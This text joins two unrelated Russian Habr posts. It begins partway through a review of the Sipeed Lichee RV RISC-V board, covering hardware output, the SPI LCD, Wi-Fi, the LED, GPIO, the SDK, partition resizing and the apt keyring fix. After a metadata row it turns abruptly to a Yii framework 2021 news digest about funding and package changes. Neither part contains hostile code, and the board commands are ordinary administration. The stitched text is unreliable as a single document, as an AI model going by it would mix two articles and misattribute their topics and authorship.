**Откроем свойство подключения сети и включим автоподключение при запуске системы**
[](https://habrastorage.org/webt/78/ut/ac/78utac_cgct9kopytyq_pecrxqk.jpeg)
*Включение автоподключения к сети Wi-Fi*
### Оборудование
USB устройства клавиатура, мышь, хабы USB 2.0 и 3.0 поддерживаются без проблем. Вывод списка устройств утилитой *inxi*:
```
root@sipeed:~# inxi -Fc0
System:
Host: sipeed Kernel: 5.4.61 riscv64 bits: 64 Console: pty pts/3
Distro: Debian GNU/Linux 11 (bullseye)
Machine:
Type: RISCV System: sun20iw1p1 details: N/A
CPU:
Info: single core model: N/A variant: riscv bits: 64 type: UP
Speed: N/A min/max: N/A core: No per core speed data found.
Graphics:
Device-1: sunxi-disp driver: disp v: N/A
Device-2: sunxi-hdmi driver: allwinner,sunxi_hdmi v: N/A
Display: server: Moba/X 1.20.11 driver: loaded: fbdev
resolution: 1920x1080
OpenGL: renderer: llvmpipe (LLVM 11.0.1 128 bits) v: 4.5 Mesa 20.3.5
Audio:
Device-1: simple-audio-card driver: sunxi_audio_card
Device-2: sunxi-daudio driver: sunxi_daudio
Device-3: simple-audio-card driver: sunxi_audio_card
Device-4: sunxi-hdmiaudio driver: sunxi_hdmiaudio
Device-5: sunxi-hdmi driver: allwinner,sunxi_hdmi
Sound Server-1: ALSA v: k5.4.61 running: yes
Sound Server-2: PulseAudio v: 14.2 running: yes
Network:
Message: No RISCV data found for this feature.
IF-ID-1: sit0 state: down mac: 00:00:00:00
IF-ID-2: wlan0 state: up mac: xx:xx:xx:xx:xx:xx
IF-ID-3: wlan1 state: down mac: xx:xx:xx:xx:xx:xx
Drives:
Local Storage: total: 29.72 GiB used: 3.05 GiB (10.3%)
ID-1: /dev/mmcblk0 vendor: SanDisk model: SD32G size: 29.72 GiB
Partition:
ID-1: / size: 7.75 GiB used: 3.05 GiB (39.4%) fs: ext4 dev: /dev/mmcblk0p7
Swap:
Alert: No swap data was found.
Sensors:
Message: No sensor data found. Is lm-sensors configured?
Info:
Processes: 96 Uptime: 1h 10m Memory: 491.8 MiB used: 238.3 MiB (48.5%)
Shell: Bash inxi: 3.3.12
```
Дополнительный дисплей 1.14" 135×240 SPI LCD
============================================
Небольшой дисплей используется в образе **licheerv\_d1\_1.14lcd\_ub2004.tgz**. Вначале его не удалось запустить из-за допущенной ошибки Sipeed в инструкции к записи образа на карту памяти. После общения с Sipeed, удалось решить проблему и запустить дисплей, классно выглядит и прекрасно работает. Как и обещал публикую результат работы:
[](https://habrastorage.org/webt/kq/j6/b0/kqj6b0guaya4ah7jkywv1pnkfwe.jpeg)
[](https://habrastorage.org/webt/j1/9e/pc/j19epckhfm-pz7p2z4g1thxxobc.jpeg)
*Lichee RV SPI LCD*
Видео работа дисплея Lichee RV 86 SPI LCD:
[](https://habrastorage.org/webt/0p/uk/et/0puketbeg4fodk9akh5pujed1za.jpeg)
*Две платы с RISC-V процессором, Lichee RV и MCU ESP32-C3-32S*
Работа с беспроводной сетью
===========================
Сеть Wi-Fi полноценно не работает. При вызове команды *iwconfig* сообщается, что интерфейсы **wlan0** и **wlan1** не поддерживают Wi-Fi.
Результат выполнения команды:
```
root@sipeed:~# sudo iwconfig
wlan0 no wireless extensions.
wlan1 no wireless extensions.
lo no wireless extensions.
sit0 no wireless extensions.
```
Подключение к Wi-Fi с помощью **wpa\_supplicant** не увенчалось успехом, хотя на странице [Sipeed LicheeRV](https://bbs.sipeed.com/thread/1300) указано, что это должно работать. Bluetooth на данный момент не поддерживается.
**Пара слов об утилиты nmtui для подключения к Wi-Fi сети**
Для подключения к Wi-Fi сети из консоли, не используя графическую оболочку, используется удобная утилита **nmtui** (пакет [network-manager](https://packages.debian.org/sid/network-manager)) с возможностью подключения к Wi-Fi сети в интерактивном режиме, без ручной правки конфигурационных файлов. Так это прекрасно работает в [Armbian](https://devdotnet.org/post/armbian-linux-distributiv-dlya-otladochnyh-plat-na-arm/). Но в Lichee RV после перезагрузки системы, Debian автоматически не подключается к настроенной Wi-Fi сети через утилиту nmtui, поэтому загрузку LXDE придется оставить.
RGB светодиод
=============
RGB светодиод на микросхеме WS2812 включен в конфигурацию, управляется с помощью виртуальной файловой системы Sysfs. По пути */sys/class/leds* располагаются три устройства: sunxi\_led0b, sunxi\_led0g, sunxi\_led0r. Задавая свойство *brightness* от 0 до 255 каждого цвета RGB можно задать итоговый цвет. Включим фиолетовый цвет, по модели RGB, для этого необходимо задать свойства (128, 0, 255). Выполним команды:
```
$ echo 128 > /sys/class/leds/sunxi_led0r/brightness
$ echo 0 > /sys/class/leds/sunxi_led0g/brightness
$ echo 255 > /sys/class/leds/sunxi_led0b/brightness
```
[](https://habrastorage.org/webt/fu/mc/mr/fumcmrz3nmicb2tdsdctgasn-xg.jpeg)
*Включение RGB светодиода на Sipeed Lichee RV Dock*
GPIO, I2C, SPI
==============
Для управления контактами GPIO используется библиотека [Libgpiod](https://devdotnet.org/post/rabota-s-gpio-v-linux-chast-6-biblioteka-libgpiod/). В отличие от Armbian, в репозитории размещен пакет последней версии (версия 1.6), поэтому установим данную библиотеку командой:
```
$ sudo apt-get update
$ sudo apt-get install -y libgpiod-dev gpiod
```
После этого выполним команду **gpiodetect** для вывода списка всех чипов GPIO, метки и количество линий
Результат выполнения:
```
root@sipeed:~# gpiodetect
gpiochip0 [2000000.pinctrl] (224 lines)
```
**Результат выполнения команды gpioinfo**
```
root@sipeed:~# gpioinfo
gpiochip0 - 224 lines:
line 0: unnamed unused input active-high
...
line 31: unnamed unused input active-high
line 32: unnamed kernel input active-high [used]
line 33: unnamed kernel input active-high [used]
line 34: unnamed unused input active-high
...
line 39: unnamed unused input active-high
line 40: unnamed kernel input active-high [used]
line 41: unnamed kernel input active-high [used]
line 42: unnamed kernel input active-high [used]
line 43: unnamed kernel input active-high [used]
line 44: unnamed unused input active-high
...
line 63: unnamed unused input active-high
line 64: unnamed kernel input active-high [used]
line 65: unnamed unused input active-high
...
line 139: unnamed unused input active-high
line 140: unnamed unused output active-high
line 141: unnamed unused input active-high
line 142: unnamed kernel input active-high [used]
line 143: unnamed unused output active-high
line 144: unnamed unused output active-high
line 145: unnamed kernel input active-high [used]
line 146: unnamed unused input active-high
...
line 159: unnamed unused input active-high
line 160: unnamed kernel input active-high [used]
line 161: unnamed kernel input active-high [used]
line 162: unnamed kernel input active-high [used]
line 163: unnamed kernel input active-high [used]
line 164: unnamed kernel input active-high [used]
line 165: unnamed kernel input active-high [used]
line 166: unnamed "cd" input active-high [used]
line 167: unnamed unused input active-high
...
line 191: unnamed unused input active-high
line 192: unnamed kernel input active-high [used]
line 193: unnamed kernel input active-high [used]
line 194: unnamed kernel input active-high [used]
line 195: unnamed kernel input active-high [used]
line 196: unnamed kernel input active-high [used]
line 197: unnamed kernel input active-high [used]
line 198: unnamed kernel input active-high [used]
line 199: unnamed kernel input active-high [used]
line 200: unnamed kernel input active-high [used]
line 201: unnamed kernel input active-high [used]
line 202: unnamed "wlan_hostwake" input active-high [used]
line 203: unnamed unused input active-high
line 204: unnamed "wlan_regon" output active-high [used]
line 205: unnamed unused output active-high
line 206: unnamed "fts_irq_gpio" input active-high [used]
line 207: unnamed "fts_reset_gpio" output active-high [used]
line 208: unnamed unused input active-high
line 209: unnamed unused input active-high
line 210: unnamed "bt_rst" output active-high [used]
line 211: unnamed unused input active-high
...
line 223: unnamed unused input active-high
```
**Результат выполнения команды: cat /sys/kernel/debug/gpio**
```
root@sipeed:~# cat /sys/kernel/debug/gpio
gpiochip0: GPIOs 0-223, parent: platform/2000000.pinctrl, 2000000.pinctrl:
gpio-166 ( |cd ) in hi IRQ
gpio-202 ( |wlan_hostwake ) in hi
gpio-204 ( |wlan_regon ) out hi
gpio-206 ( |fts_irq_gpio ) in hi IRQ
gpio-207 ( |fts_reset_gpio ) out hi
gpio-210 ( |bt_rst ) out lo
```
В продолжение поста займемся программированием и работой с аппаратными интерфейсами, но для этого потребуется сформировать образ операционной системы с помощью SDK на последней версии ядра Linux.
BSP SDK
=======
Информации об BSP SDK немного, предлагается загрузить [архив](https://mega.nz/folder/lx4CyZBA#PiFhY7oSVQ3gp2ZZ_AnwYA/folder/AhgTQY6K) достаточно большого размера (9.66 Гб) для формирования образа, дополнительно доступен на Docker Hub [zepan/d1compile](https://hub.docker.com/r/zepan/d1compile). Как работать с SDK сказано [ссылка1](https://www.cnx-software.com/2021/05/02/allwinner-d1-sdk-linux-risc-v-documentation/), [ссылка2](https://bbs.sipeed.com/thread/1300), [ссылка3](https://d1.docs.aw-ol.com/study/study_2getsdk/).
От разработчика процессора Allwinner доступна регистрация (по e-mail, китайский номер мобильного телефона не требуется) на сайте [open.allwinnertech.com](https://open.allwinnertech.com/#/register) в качестве разработчика. Заполняем форму регистрации и получаем доступ к SDK.
[](https://habrastorage.org/webt/dh/98/1e/dh981eilms-i_nc2x_jqsu8rwzu.png)
*Allwinner SDK Page*
На странице [whycan.com/t\_6440.html](https://whycan.com/t_6440.html) собрана документация об аппаратных интерфейсах на китайском языке, в формате PDF.
Использование RISC-V процессоров в обучение
===========================================
Одноплатный компьютер [Sipeed Nezha 64bit](https://d1.docs.aw-ol.com/en/d1_dev/) на процессоре XuanTie C906 RISC-V используется для обучения в информационных дисциплинах [Норвежским университетом естественных и технических наук](https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%B2%D0%B5%D0%B6%D1%81%D0%BA%D0%B8%D0%B9_%D1%83%D0%BD%D0%B8%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%82%D0%B5%D1%82_%D0%B5%D1%81%D1%82%D0%B5%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D1%85_%D0%B8_%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85_%D0%BD%D0%B0%D1%83%D0%BA) (NTNU).
[](https://habrastorage.org/webt/tv/bw/km/tvbwkmuqzconbilhpe78uqydop8.jpeg)
*Одноплатный компьютер Sipeed Nezha Allwinner D1*
Норвежский университет естественных и технических наук является университетом мирового класса, подготавливает высококлассных специалистов с сильными техническими и академическими знаниями в области нефтяных и морских технологий, физиологии и медицины, химической инженерии, электротехники и электроники, производства и инженерии качества. Морская инженерия университета занимает второе место в мире. В 2021 году NTNU [занял 101–150](https://www.shanghairanking.com/institution/norwegian-university-of-science-and-technology-ntnu) место в [мировом рейтинге университетов мира](https://ru.wikipedia.org/wiki/%D0%90%D0%BA%D0%B0%D0%B4%D0%B5%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%80%D0%B5%D0%B9%D1%82%D0%B8%D0%BD%D0%B3_%D1%83%D0%BD%D0%B8%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%82%D0%B5%D1%82%D0%BE%D0%B2_%D0%BC%D0%B8%D1%80%D0%B0). Пять выпускников NTNU получили Нобелевские премии. Для сравнения МГУ имени М.В. Ломоносова занимает 97 место, второе место по России Санкт-Петербургский государственный университет — 301-400 место.
Профессор Michael Engel подробно рассказывает как работают операционные системы на примере запуска (портирования) ОС xv6 MIT под архитектуру RISC-V, а именно запуск на одноплатнике Sipeed Nezha.
[](https://habrastorage.org/webt/-a/t_/l1/-at_l1_nyxgpqkhwscmm7cpkj0w.png)
*Sipeed Nezha в программе курса*
[ОС xv6](https://ru.wikipedia.org/wiki/Xv6) — это операционная система предназначенная для использования в обучение студентов, разработана Массачусетским технологическим институтом (MIT) для курса «Инженерия операционных систем» (код 6.828).
В отличие от систем Linux или BSD, ОС xv6 очень проста и может быть изучена всего за один семестр. Весь программный код составляет немного более 8000 строк, но он по-прежнему включает важные концепции и организационные структуры Unix.
Благодаря высокой производительности и широкому спектру применения одноплатного компьютера Sipeed Nezha, удалось получить широкое признание в информационной отрасли, не только достигнув цели использование для разработки в различных областях, но и сделав первый шаг к тому, чтобы китайские процессоры вышли в лидерство на мировой рынок.
MangoPi MQ-Pro
==============
Еще один интересный проект, на таком же процессоре Allwinner D1 RISC-V, от стартапа [MangoPi](https://mangopi.org) (на момент публикации сайт не работает), одноплатный компьютер [MangoPi MQ-Pro](https://github.com/mangopi-sbc/MQ-Pro). В отличие от Lichee RV, на плате размещен 40 Pins разъем GPIO, который полностью совместимый с аналогичным разъемом на Raspberry Pi 3. Форм фактор платы выполнен в стиле Raspberry Pi Zero, что удобнее для DIY проектов, чем исполнение в виде модуля (SoM). Отдельно выведен разъем MIPI DSI для подключения дисплеев с сенсорным экраном. Если вам интересно поработать с RISC-V процессором в более комфортных условиях, то лучше дождаться выпуска MangoPi MQ-Pro.
[](https://habrastorage.org/webt/p7/4r/hy/p74rhy8ozp4m47jg_i45ms5hsfo.png)
*MangoPi MQ-Pro*
Ориентировочная стоимость около $20 без учета доставки. Массовое производство планируется запустить 15-20 февраля, как раз после празднования Китайского Нового года. Скорее всего, где-то в марте появятся в магазинах.
«Допиливание» системы
=====================
**Расширение раздела rootfs**
Китайцы очень шустро делают новые платы, но с поддержкой программного обеспечения возникают некоторые сложности. Не смотря на указанные требования в размере 16 Гб для microSD, фактический размер раздела rootfs (образ с Debian) составит 4 Гб. В отличие от Armbian, при запуске системы, раздел с rootfs не расширяется автоматически до максимального размера карты памяти. Поэтому для карты microSD объемом 32 Гб необходимо расширить раздел с rootfs.
**Расширение раздела с rootfs до максимального размера карты microSD**
Расширение раздела выполняется «на лету» в загруженной системе, выполним следующие шаги:
1 Шаг. Отобразим текущий список точек монтирования, командой *df -h*:
В первой строке видим корень файловой системы размером всего 4 Гб.
[](https://habrastorage.org/webt/4f/6z/nb/4f6znb6ugxtqk4s2kfwb4w8dbfk.png)
2 Шаг. Выведем список разделов на microSD карте, командой *fdisk -l*
[](https://habrastorage.org/webt/io/yk/_y/ioyk_y20pg-3tcsnjukixpp7hee.png)
Подключена карта памяти объемом 30 Гб. Необходимо раздел */dev/mmcblk0p8* удалить, а раздел */dev/mmcblk0p7* расширить до максимального размера.
3 Шаг. Работаем с разделами утилитой *parted*, выполним команду *parted /dev/mmcblk0*, затем введем команду вывода списка всех разделов p:
[](https://habrastorage.org/webt/l1/0m/8r/l10m8r6j3wdvzyxaahay00dzocm.png)
В первую очередь удалим раздел под номером 8, затем раздел под номером 7 (rootfs) расширим до максимального размера.
4 Шаг. Удаляем раздел под номером 8, команда *rm 8*
```
(parted) rm 8
```
5 Шаг. Расширяем раздел под номером 7, команда *resizepart 7*. Указываем точку окончания раздела на 30 Гб.
```
(parted) resizepart 7
End? [8642MB]? 30000
```
6 Шаг. Выходим из программы *parted*, командой *quit*
```
(parted) quit
```
7 Шаг. Расширяем раздел */dev/mmcblk0p7* утилитой *resize2fs*, выполним команду
```
$ sudo resize2fs /dev/mmcblk0p7
```
Ход выполнения:
```
root@sipeed:~# resize2fs /dev/mmcblk0p7
resize2fs 1.46.2 (28-Feb-2021)
Filesystem at /dev/mmcblk0p7 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 2
The filesystem on /dev/mmcblk0p7 is now 7311480 (4k) blocks long.
```
8 Шаг. Перезапускам систему командой, *reboot now*
9 Шаг. Повторно выводим информацию о точках монтирования командой, *df -h*
[](https://habrastorage.org/webt/ic/ek/r5/icekr5tgkw8yoa3-n9exzxoruv8.png)
Как видим теперь раздел rootfs составляет 28 Гб.
**Обновление ключей репозитория пакетов**
При обновление пакетов возникла ошибка верификации корневых ключей публичного репозитория. Выполнение команды *apt-get update* приводит к следующей ошибке:
```
root@sipeed:/etc/apt# apt-get update
Get:1 http://ftp.ports.debian.org/debian-ports sid InRelease [65.1 kB]
Err:1 http://ftp.ports.debian.org/debian-ports sid InRelease
The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E852514F5DF312F6
Reading package lists... Done
W: GPG error: http://ftp.ports.debian.org/debian-ports sid InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E852514F5DF312F6
E: The repository 'http://ftp.ports.debian.org/debian-ports sid InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
```
Проблема заключается в наличие просроченных ключей, необходимо загрузить в ручном режиме новые ключи. Для этого со страницы [debian-ports-archive-keyring](https://packages.debian.org/sid/all/debian-ports-archive-keyring/download) загружаем DEB-пакет **debian-ports-archive-keyring\_2021.12.30\_all.deb**, копируем его на Lichee RV, используя терминал MobaXterm, и запускаем установку командой:
```
$ sudo dpkg -i debian-ports-archive-keyring_2021.12.30_all.deb
```
После обновления ключей все заработает включая обновление. Обновим систему, выполним команды:
```
$ sudo apt-get update
$ sudo apt-get -y upgrade
```
**Установка дополнительных пакетов**
Для работы с текстовыми конфигурационными файлами удобнее пользоваться не древним программами vi или nano, а нормальным редактором с поддержкой псевдографики и мыши. В состав пакета mc входит файловый менеджер [Midnight Commander](https://midnight-commander.org/) и текстовый редактор mcedit. Установим пакет mc и htop, командой:
```
$ sudo apt-get install -y mc htop usbutils
```
**Настройка расширения экрана для LXDE**
В не зависимости от диагонали подключаемого экрана, Xorg будет выводить картинку с разрешением 1080p. Но если у вас небольшой портативный LCD на 8 дюймов, то это проблема. Для задания других разрешений экрана необходимо создать конфигурационный файл с настройками для вашего монитора. Для этого необходимо создать конфигурационный файл по пути */usr/share/X11/xorg.conf.d/99-fbdev.conf* и разместить в нем следующий фрагмент:
**Файл 99-fbdev.conf**
```
Section "Device"
Identifier "myfb"
Driver "fbdev"
Option "fbdev" "/dev/fb0"
EndSection
Section "Screen"
Identifier "Default Screen"
Monitor "Configured Monitor"
Device "myfb"
DefaultDepth 24
SubSection "Display"
Depth 24
Modes "640x480" "800x600" "1024x768" "1024x600" "1280x720" "1920x1080"
EndSubSection
EndSection
Section "InputDevice"
Identifier "Keyboard0"
Driver "keyboard"
Option "Floating" "off"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "us"
EndSection
Section "InputDevice"
Identifier "Mouse0"
Driver "evdev"
Option "Name" "Logitech USB Gaming Mouse"
Option "evBits" "+1-2"
Option "keyBits" "~272-287"
Option "relBits" "~0-2 ~6 ~8"
Option "Pass" "3"
Option "CorePointer"
EndSection
Section "ServerLayout"
Identifier "Default Layout"
Screen 0 "Default Screen" 0 0
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Mouse0" "CorePointer"
EndSection
```
В строке **Modes** задайте необходимые разрешения экрана, остальные параметры изменять не требуется.
Далее, необходимо выставить значение dpi. В папке домашней директории (*/root*) создаем файл *.Xresources*, командой:
```
$ sudo mcedit /root/.Xresources
```
В файле размещаем единственною строку параметр:
```
Xft.dpi: 100
```
Сохраняем изменения и выходим из редактора . Перезапускаем систему и входим в под пользователем root.
После перезапуска системы, в LXDE откроем меню **«Пуск» > Preferences > Monitor Settings**, выберем необходимое разрешение экрана.
[](https://habrastorage.org/webt/ch/zq/ho/chzqhogioqsk9yie9yhultubqso.jpeg)
*Выбор разрешения экрана*
Итог
====
Поднебесная, в отличие от российских разработчиков процессоров МЦСТ и Байкал электроникс, стремится к максимальной открытости не только в виде документации по использованию, но и предоставляет открытый доступ к исходникам ядер процессора. Ставка на открытость очень сильно подкупает.
Учитывая что спецификацию RISC-V сделали буквально вчера, а на руках уже работающая плата по низкой цене, это весьма впечатляющий результат. Пока драйверов и софта под архитектуру RISC-V очень мало, но многие пакеты уже скомпилированы под новую архитектуру.
Для полноценного теста необходим нормально работающий образ операционной системы, поэтому никакие тесты скорости не выполнялись. Поэтому следующий шаг, это сборка и настройка своего образа на базе Debian или Ubuntu.
Отдельно хотелось бы отметить проект Carlos Eduardo по [портированию Docker на RISC-V](https://carlosedp.medium.com/docker-containers-on-risc-v-architecture-5bc45725624b) архитектуру с последующей сборкой пакетов для этой архитектуры. Carlos Eduardo предлагает запускать QEMU эмулятор RISC-V архитектуры на x86 машине. Для эксперимента были установлены бинарные пакеты Docker от Carlos Eduardo на Lichee RV, но демон Docker не запустился. На данный момент с помощью инструмента [Buildx](https://devdotnet.org/post/sborka-docker-konteinerov-dlya-arm-arhitekturi-ispolzuya-buildx/) (при сборке указать платформу **--platform linux/riscv64**) собираются контейнеры не только для ARM архитектуры, но и для RISC-V архитектуры.
**Коротко:**
* На Lichee RV образ с Debian запускается в среднем за 1 минуту;
* Видео не воспроизводится, показывается только первый кадр, далее видео замирает;
* Браузера нет. Пока нет порта ни Firefox, ни Chrome;
* Что-то намудрили с запуском диспетчера LXDE, иногда система зависает при инициализации GPU. Перезагрузка не спасает, только обесточивание платы и LCD панели решает проблему;
* Образ Debian «кривой», необходимо собирать свой;
* Вся текущая документация на плату и SDK только на китайском языке.
Благодарю за внимание, пишите в комментариях что вы бы хотели проверить, протестировать на новом одноплатнике Sipeed Lichee RV.
Обновление
==========
**[10.02.2022]** Заменены фотографии SPI LCD на собственные. Добавлено видео запуска Lichee RV на SPI LCD.
Ресурсы
=======
* [About D1-H SoC — AWOL](https://d1.docs.aw-ol.com/en/)
* [Quick start with Lichee RV (китайский)](https://bbs.sipeed.com/thread/1300)
* [Начало работы — Sipeed Wiki (китайский)](https://wiki.sipeed.com/hardware/zh/lichee/RV/user.html)
* [BBS LicheeRV — AWOL (китайский)](https://bbs.aw-ol.com/topic/770/licheerv-%E5%85%A5%E9%97%A8%E5%BC%80%E5%8F%91%E4%B8%80%E5%B8%96%E9%80%9A)
* [Официальный сайт компании Sipeed — AIoT opensource hardware platform](https://sipeed.com/)
* [Sipeed Docs & Images](https://dl.sipeed.com/shareURL/LICHEE/D1/)
* [Sipeed Docs & Images Mega.nz](https://mega.nz/folder/lx4CyZBA#PiFhY7oSVQ3gp2ZZ_AnwYA)
* [Sipeed Telegram Channel](https://t.me/sipeed)
* [Sipeed @SipeedIO Twitter](https://twitter.com/SipeedIO)
* [GitHub — T-Head Semiconductor Co., Ltd.](https://github.com/T-head-Semi)
* [GitHub — Allwinner D1 RISC-V](https://github.com/devdotnetorg/Allwinner-SoC/tree/master/Allwinner%20D1%20RISC-V)
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low) | https://habr.com/ru/post/649327/ | null | ru | null |
# Новости Yii 2021, выпуск 1
Привет, сообщество!
Это первый выпуск новостей в 2021. Начало года вышло продуктивным. Мы начали активно релизить пакеты Yii 3, есть значительный прогресс с пока не релизнутыми пакетами. Улучшили инструментарий разработки, много всего исправили, убили лишние пакеты. И всё это параллельно с поддержкой Yii 2 и решением проблем с финансированием.
### Команда и фонд
Несмотря на то, что 2020 был через край долбанутым, для Yii всё вышло неплохо. Удалось договориться о продлении поддержки Yii 1.1 и других вещах в обмен на единовременное или постоянное пополнение фонда.
Эти соглашения и, конечно же, [наши любимые спонсоры](https://opencollective.com/yiisoft), позволили команде меньше работать над коммерческими проектами и больше над фреймворком. Фонд удалось использовать полностью.
Я был чрезвычайно воодушевлён возросшей скоростью разработки, окунулся в неё с головой и немного подзабыл о финансовой части. В январе меня ждал неприятный сюрприз. Оказывается, что забыл я про очень важный факт. А именно, что немаленькая часть средств фонда поступила не рекуррентными платежами. Соответственно, бюджета на всё не хватило. Чтобы не случилось полной катастрофы, я перестал забирать деньги фонда с OpenCollective и начал активно искать партнёров среди компаний, которые используют Yii и PHP. Результаты пока спорные, но, надеюсь, всё наладится.
> Если хотите пообщаться на тему партнёрства, пишите в [sam@rmcreative.ru](mailto:sam@rmcreative.ru).
>
>
### Yii 2
[Вышел Yii 2.0.41](https://www.yiiframework.com/news/344/yii-2-0-41). Сильно помогли с релизом [Paweł Brzozowski](https://github.com/bizley), недавно присоединившийся к команде Yii 2, и [Robert Korulczyk](https://github.com/rob006) с его тщательными ревью всего вливаемого в master кода. Много часов было потрачено на безопасность фреймворка. Удалось перебрать текущие сообщения о предполагаемых уязвимостях и [улучшить безопасность](https://github.com/yiisoft/yii2/blob/2.0.41/framework/UPGRADE.md#upgrade-from-yii-2040).
### Yii 3
Прежде всего, релизы:
* [Event dispatcher 1.0.0](https://www.yiiframework.com/news/341/event-dispatcher-1-0-0)
* [Test support 1.1.0 and 1.2.0](https://www.yiiframework.com/news/342/test-support-1-1-0-and-1-2-0)
* [CSRF 1.0.0](https://www.yiiframework.com/news/343/csrf-1-0-0)
* [Auth 2.0.0](https://www.yiiframework.com/news/331/auth-2-0-0-released)
* [JWT auth 1.0.0](https://www.yiiframework.com/news/339/auth-jwt-1-0-0)
* [Strings 1.2.0](https://www.yiiframework.com/news/332/strings-1-2-0-released) and [2.0.0](https://www.yiiframework.com/news/336/strings-2-0-0-released)
* [Arrays 1.0.0](https://www.yiiframework.com/news/333/arrays-1-0-0-released)
* [Cache and its drivers 1.0.0](https://www.yiiframework.com/news/334/cache-and-drivers-1-0-0)
* [Request body parser 1.0.0](https://www.yiiframework.com/news/335/request-body-parser-1-0-0-released)
* [Files 1.0.0](https://www.yiiframework.com/news/337/files-1-0-0)
* [Var dumper 1.0.0](https://www.yiiframework.com/news/338/vardumper-1-0-0)
* [Log and its drivers 1.0.0](https://www.yiiframework.com/news/340/log-and-drivers-1-0-0)
В каждом пакете есть документация, отличное покрытие тестами, код вычищен и, конечно же, публичный API достаточно стабилен.
Ну а теперь время рассмотреть интересные изменения с предыдущего выпуска новостей. Для удобства изменения сгруппируем по пакетам.
#### Arrays
* Добавлен `ArrayHelper::pathExists()`.
* Добавлен `ArrayHelper::group()`. Это алиас `ArrayHelper::index()`.
* Удалены модификаторы.
#### Data
* [Добавлен DeletableInterface](https://github.com/yiisoft/data/pull/71).
* [В](https://github.com/yiisoft/data/pull/74)`PaginatorInterface` и реализации добавлен `getSort()`.
* [Класс Sort теперь инстанциируется через статические методы-конструкторы, меняющие режим работы](https://github.com/yiisoft/data/pull/70).
#### Auth
* `IdentityRepositoryInterface::findIdentityByToken()` был выделен в `IdentityWithTokenRepositoryInterface`. Также, теперь можно настроить токен.
* [Был отрефакторен пакет аутентификации JWT](https://github.com/yiisoft/auth-jwt/pull/38).
#### Config plugin
После большого количества попыток улучшить [Composer config plugin](https://github.com/yiisoft/composer-config-plugin/) стало очевидно что он стал слишком сложным: AST, мёрж конфигов и всё что там творилось под капотом. Мы приняли решение сделать его менее зависимым от пакетов yiisoft и сделать [новый, более простой и производительный, пакет](https://github.com/yiisoft/config).
Все шаблоны приложений уже были переведены на новые конфиги. Скорее всего нужно будет исправлять баги и повышать удобство использования пакета.
#### Error handler
* Рефакторинг, ридми.
* Поддержка Xdebug 3 для получения более подробных стектрейсов.
* [ExceptionResponder](https://github.com/yiisoft/error-handler/pull/22), при помощи которого можно формировать HTTP-ответ в зависимости от пойманной ошибки. Это может быть полезно для исключений вроде `NotFoundException`. Будут ли такие исключения из коробки пока обсуждаем.
* [Renderer-ы теперь могут отдавать HTTP-заголовки](https://github.com/yiisoft/error-handler/pull/26), добавлен renderer, который выводит ошибку в заголовках. Полезно если показывать ошибки текстом неудобно. Например, для некоторых API или при генерации картинок.
* [Элементы stacktrace для классов из](https://github.com/yiisoft/error-handler/pull/36)`vendor` теперь отображаются отдельной группой и по умолчанию свёрнуты. Так как ошибки обычно в самом приложении, это позволяет не отвлекаться на нерелевантную информацию.
### Обработка ошибок в общем
* В пакет [yiisoft/yii-event](https://github.com/yiisoft/yii-event) добавлен [режим отладки](https://github.com/yiisoft/yii-event/pull/22). В нём проверяются все обработчики событий сразу.
* Улучшены ошибки DI контейнера.
#### Strings
* Добавлен `NumericHelper::isInteger()`.
* Добавлена поддержка `bool` в `NumericHelper::normalize()`.
* [Был переработан матчинг по wildcard](https://github.com/yiisoft/strings/pull/67). Вместо довольно большого количества опций добавили `**`, совпадающий, в том числе, с сепараторами.
#### Var dumper
* Улучшена поддержка PHP 8.
* `VarDumper::dump()` теперь, по умолчанию, подсвечиваем код.
* Удалён `VarDumper::asPhpString()`.
* [Весь специфичный для Yii debugger код был перенесён в сам пакет](https://github.com/yiisoft/var-dumper/pull/38).
* Покрыты все найденные интересные случаи при экспорте замыканий.
* При установке пакета становятся автоматически доступны `d()` и `dd()`.
#### Html
Пакет был значительно переработан. Главных изменений два:
1. [Вывод по умолчанию экранируется](https://github.com/yiisoft/html/pull/48).
2. Теги реализованы как отдельные объекты, создаваемые через статические методы-фабрики из Html. Для пользователя это значит, что конфигурация теперь производится через вызов методов. То есть теперь IDE это дополняют и проверяют.
#### Валидатор
Много рефакторинга. Самое интересное:
* [Из Rule выделены интерфейсы](https://github.com/yiisoft/validator/pull/96).
* [Из Validator убрано состояние](https://github.com/yiisoft/validator/pull/97).
* [Реализована валидация вложенных структур](https://github.com/yiisoft/validator/pull/98).
* [Улучшена реализация перевода ошибок](https://github.com/yiisoft/validator/pull/106)
* [Возможность определять правила валидации прямо в валидируемом объекте](https://github.com/yiisoft/validator/pull/115).
* [Можно валидировать любые данные, не обязательно DataSetInterface](https://github.com/yiisoft/validator/pull/116).
* [Правило InRange разделено на InRange и Subset](https://github.com/yiisoft/validator/pull/119).
#### Формы
* [Атрибут "required" теперь добавляется к input-ам на основе правил валидации](https://github.com/yiisoft/form/pull/68).
* Из-за изменений в валидаторе [поменялся способ валидации форм](https://github.com/yiisoft/form/pull/71).
#### Перевод сообщений
Почти готов к релизу. Можете почитать [его readme](https://github.com/yiisoft/translator).
#### Mailer
[Mailer](https://github.com/yiisoft/mailer/) и [адаптер для SwiftMailer](https://github.com/yiisoft/mailer-swiftmailer) были вычищены и отрефакторены. Добавлена документация. Релизнем как только будут готовы зависимости.
#### DB и ActiveRecord
В обоих пакетах были исправления, оба ещё больше покрыли тестами. Wilmer, член команды, который занимался этими пакетами, уже проверил их в бою на Telegram боте с 120 тысячами запросов в сутки.
